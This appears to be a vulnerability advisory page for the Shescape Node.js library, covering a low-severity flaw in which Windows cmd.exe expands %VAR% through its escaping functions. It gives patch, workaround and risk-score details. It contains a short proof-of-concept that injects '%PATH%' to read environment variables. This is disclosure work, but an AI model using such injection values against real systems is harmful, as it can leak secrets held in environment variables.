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GHSA-3g7p-8qhx-mc8r

LowCVSS 3.1 / 10
Published Jun 22, 2023·Last modified Nov 8, 2023
Affected Components(0)

No affected components available

Description

Impact

This impact users of Shescape:

  1. On Windows using the Windows Command Prompt (i.e. cmd.exe), and
  2. Using quote/quoteAll or escape/escapeAll with the interpolation option set to true.

An attacker may be able to get read-only access to environment variables. Example:

import * as cp from "node:child_process";
import * as shescape from "shescape";

// 1. Prerequisites
const options = {
    shell: "cmd.exe",
    // Or
    shell: undefined, // Only if the default shell is CMD

    // And
    interpolation: true, // Only applies to `escape` and `escapeAll` usage
}

// 2. Attack (one of many)
const payload = "%PATH%";

// 3. Usage
let escapedPayload;

escapedPayload = shescape.quote(payload, options);
// Or
escapedPayload = shescape.quoteAll([payload], options);
// Or
escapedPayload = shescape.escape(payload, options);
// Or
escapedPayload = shescape.escapeAll([payload], options);

// And (example)
const result = cp.execSync(`echo Hello ${escapedPayload}`, options);

// 4. Impact
console.log(result.toString());
// Outputs "Hello" followed by the contents of the PATH environment variable

Patches

This bug has been patched in v1.7.1 which you can upgrade to now. No further changes are required.

Workarounds

Alternatively, users can remove all instances of % from user input, either before or after using Shescape.

References

Risk Scores
Base Score
3.1

The vulnerability can be exploited over the network without needing physical access. It is difficult for an attacker to exploit this vulnerability and may require special conditions. An attacker needs basic access or low-level privileges. No user interaction is needed for the attacker to exploit this vulnerability. The impact is confined to the system where the vulnerability exists. There is a low impact on the confidentiality of the information.

Threat Intelligence
2.9

Limited exploitation activity has been observed. Close monitoring and planned remediation are recommended.

EPSS
0.81%

The exploit probability is very low. The vulnerability is unlikely to be exploited in the next 30 days.

Exploit
Not available

We did not find any exploit available. Neither in GitHub repositories nor in the Exploit-Database.

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